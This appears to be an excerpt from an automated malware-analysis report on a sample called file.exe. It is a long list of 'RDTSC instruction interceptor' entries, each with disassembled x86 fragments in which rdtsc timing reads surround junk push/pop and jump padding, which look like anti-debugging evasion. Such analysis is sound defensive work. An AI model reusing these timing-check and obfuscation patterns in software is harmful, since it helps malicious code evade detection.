Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36CA03 second address: 36CA09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36CB4D second address: 36CB51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36CB51 second address: 36CB5A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36CB5A second address: 36CB6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB6784C8BD6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 36CCA3 second address: 36CCB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 jmp 00007FB678E7E6EDh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371407 second address: 371410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371410 second address: 371414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371414 second address: 371418 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371418 second address: 37141E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371868 second address: 37186D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37186D second address: 371873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371873 second address: 37188D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37188D second address: 37189E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jnp 00007FB678E7E6ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3719C1 second address: 3719C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 371B48 second address: 371B61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB678E7E6EFh 0x00000009 jbe 00007FB678E7E6E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322975 second address: 322997 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB6784C8BDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jne 00007FB6784C8BD8h 0x00000012 jl 00007FB6784C8BDCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322997 second address: 322A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 xor edi, 0BE5C204h 0x0000000c mov ebx, dword ptr [ebp+12486A62h] 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007FB678E7E6E8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c jne 00007FB678E7E6E6h 0x00000032 clc 0x00000033 add eax, ebx 0x00000035 mov dword ptr [ebp+122D1CF9h], edi 0x0000003b nop 0x0000003c pushad 0x0000003d jno 00007FB678E7E6F7h 0x00000043 pushad 0x00000044 jng 00007FB678E7E6E6h 0x0000004a jp 00007FB678E7E6E6h 0x00000050 popad 0x00000051 popad 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322A0A second address: 322A26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 322A26 second address: 322A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37282B second address: 372843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372843 second address: 372849 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 372849 second address: 37284F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37284F second address: 372855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3766F9 second address: 376706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FB6784C8BD6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376706 second address: 37671D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FB678E7E6F2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37671D second address: 376760 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jne 00007FB6784C8BD6h 0x0000000c jmp 00007FB6784C8BE9h 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 jmp 00007FB6784C8BE7h 0x0000001a push edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376760 second address: 376787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jp 00007FB678E7E6F4h 0x0000000b jmp 00007FB678E7E6EEh 0x00000010 jp 00007FB678E7E6F2h 0x00000016 jne 00007FB678E7E6E6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375EA1 second address: 375EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BDFh 0x00000009 pop esi 0x0000000a pushad 0x0000000b jbe 00007FB6784C8BDCh 0x00000011 jnc 00007FB6784C8BECh 0x00000017 push eax 0x00000018 push edx 0x00000019 jno 00007FB6784C8BD6h 0x0000001f push ebx 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37601A second address: 37602A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007FB678E7E6E6h 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37602A second address: 376034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376158 second address: 37615C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37615C second address: 376160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376160 second address: 376166 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376166 second address: 37616F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37616F second address: 376176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376176 second address: 376180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37DCC8 second address: 37DCD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37DCD0 second address: 37DCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37DCD4 second address: 37DCE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37DCE8 second address: 37DD0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop esi 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FB6784C8BE3h 0x0000000f push ebx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2E2F26 second address: 2E2F2E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BE8E second address: 37BE98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB6784C8BD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37BE98 second address: 37BE9E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37C367 second address: 37C36C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37C61B second address: 37C623 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37CAD9 second address: 37CADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37CADF second address: 37CAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37CAE6 second address: 37CAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37CAEC second address: 37CB20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FB678E7E6F9h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FB678E7E6F2h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37CB20 second address: 37CB39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37CDDC second address: 37CE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB678E7E6EDh 0x00000009 jmp 00007FB678E7E6EBh 0x0000000e popad 0x0000000f jo 00007FB678E7E704h 0x00000015 pushad 0x00000016 jmp 00007FB678E7E6EEh 0x0000001b push edx 0x0000001c pop edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37CE12 second address: 37CE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D0FC second address: 37D103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D103 second address: 37D11B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FB6784C8BD6h 0x00000009 jno 00007FB6784C8BD6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D11B second address: 37D12E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB678E7E6EBh 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D12E second address: 37D139 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D139 second address: 37D14E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D425 second address: 37D437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB6784C8BD6h 0x0000000a jo 00007FB6784C8BD6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37D9E5 second address: 37D9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 382F96 second address: 382FBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB6784C8BD6h 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jno 00007FB6784C8BEAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3834F4 second address: 3834F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3834F8 second address: 383511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB6784C8BE3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383511 second address: 383517 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383517 second address: 38351D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38351D second address: 383527 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB678E7E6E6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3837AC second address: 3837B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3837B0 second address: 3837CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EEh 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007FB678E7E6E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383931 second address: 383949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383949 second address: 383961 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 383961 second address: 383965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3901B7 second address: 3901BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3901BE second address: 3901C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38E2F3 second address: 38E304 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB678E7E6EBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38E304 second address: 38E32B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE7h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FB6784C8BDCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38E32B second address: 38E342 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB678E7E6F3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38E90B second address: 38E932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB6784C8BDFh 0x0000000c jmp 00007FB6784C8BE1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EAF0 second address: 38EAFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007FB678E7E6E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EAFC second address: 38EB1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB6784C8BE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB1D second address: 38EB21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB21 second address: 38EB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB6784C8BDBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38F078 second address: 38F08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB678E7E6F0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38F08C second address: 38F0BC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FB6784C8BE7h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007FB6784C8BDBh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38F0BC second address: 38F0E1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB678E7E6FBh 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FB678E7E6E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38F967 second address: 38F977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jg 00007FB6784C8BE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AAA7B second address: 3AAA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AAA81 second address: 3AAA85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AABB6 second address: 3AABCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FB678E7E6ECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AABCA second address: 3AABDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB6784C8BE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AABDE second address: 3AAC00 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pushad 0x00000009 jp 00007FB678E7E6E6h 0x0000000f jmp 00007FB678E7E6F1h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF74B second address: 3AF75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007FB6784C8BD6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF75A second address: 3AF760 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF760 second address: 3AF769 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C2D9C second address: 3C2DAE instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB678E7E6ECh 0x00000008 jbe 00007FB678E7E6E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1C3C second address: 3C1C40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C206F second address: 3C2075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C571E second address: 3C5732 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB6784C8BDEh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D5226 second address: 3D5257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB678E7E705h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D5257 second address: 3D5264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FB6784C8BEFh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
